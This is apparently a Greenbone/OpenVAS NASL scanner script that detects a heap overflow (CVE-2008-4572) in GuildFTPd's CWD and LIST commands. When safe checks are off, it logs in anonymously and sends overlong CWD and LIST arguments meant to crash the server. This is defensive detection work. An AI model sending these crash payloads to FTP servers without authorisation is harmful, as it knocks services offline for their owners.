GuildFTPd CWD and LIST Command Heap Overflow Vulnerability

# SPDX-FileCopyrightText: 2008 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.800114");
  script_version("2023-07-21T05:05:22+0000");
  script_tag(name:"last_modification", value:"2023-07-21 05:05:22 +0000 (Fri, 21 Jul 2023)");
  script_tag(name:"creation_date", value:"2008-10-21 16:25:40 +0200 (Tue, 21 Oct 2008)");
  script_tag(name:"cvss_base", value:"10.0");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:C/I:C/A:C");
  script_cve_id("CVE-2008-4572");
  script_name("GuildFTPd CWD and LIST Command Heap Overflow Vulnerability");
  script_xref(name:"URL", value:"http://milw0rm.com/exploits/6738");
  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/31729");
  script_xref(name:"URL", value:"http://secunia.com/advisories/32218/");
  script_xref(name:"URL", value:"http://www.frsirt.com/english/advisories/2008/2794");

  script_category(ACT_MIXED_ATTACK);
  script_tag(name:"qod_type", value:"remote_analysis");
  script_copyright("Copyright (C) 2008 Greenbone AG");
  script_family("Denial of Service");
  script_dependencies("ftpserver_detect_type_nd_version.nasl");
  script_require_ports("Services/ftp", 21);
  script_mandatory_keys("ftp/guildftpd/detected");

  script_tag(name:"impact", value:"Successful exploitation allows attackers to execute arbitrary code through
  specially crafted CWD and LIST command, which can also crash the affected application.");

  script_tag(name:"affected", value:"GuildFTPd Version 0.999.14 and prior on Windows (Any).");

  script_tag(name:"insight", value:"The flaw exists due to boundary error while processing malformed arguments
  passed to a CWD and LIST commands.");

  script_tag(name:"solution", value:"No known solution was made available for at least one year since the disclosure
  of this vulnerability. Likely none will be provided anymore. General solution options are to upgrade to a newer
  release, disable respective features, remove the product or replace the product by another one.");

  script_tag(name:"summary", value:"GuildFTPd FTP Server is prone to a heap overflow vulnerability.");

  script_tag(name:"solution_type", value:"WillNotFix");

  exit(0);
}

include("ftp_func.inc");
include("misc_func.inc");
include("port_service_func.inc");
include("version_func.inc");

port = ftp_get_port(default:21);
banner = ftp_get_banner(port:port);
if(!banner || "GuildFTPd" >!< banner)
  exit(0);

if(safe_checks()) {
  guildVer = eregmatch(pattern:"Version ([0-9.]+)", string:banner);
  if(guildVer) {
    if(version_is_less_equal(version:guildVer[1], test_version:"0.999.14")){
      security_message(port);
    }
  }
  exit(0);
}

soc = open_sock_tcp(port);
if(!soc)
  exit(0);

banner = recv(socket:soc, length:1024);
if("GuildFTPd" >!< banner) {
  close(soc);
  exit(0);
}

if(ftp_authenticate(socket:soc, user:"anonymous", pass:"anonymous")) {
  send(socket:soc, data:string("cwd ", crap(data:"/.", length:200), "\n"));
  recv(socket:soc, length:1024);

  send(socket:soc, data:string("list ", crap(data:"X", length:100), "\r\n"));
  recv(socket:soc, length:1024);

  sleep(10);
  close(soc);

  soc = open_sock_tcp(port);

  if(!recv(socket:soc, length:1024)) {
    security_message(data:string("GuildFTPd Server service has been crashed on the" +
                                 "system.\nRestart the service to resume normal operations."),
                port:port);
  }
  close(soc);
}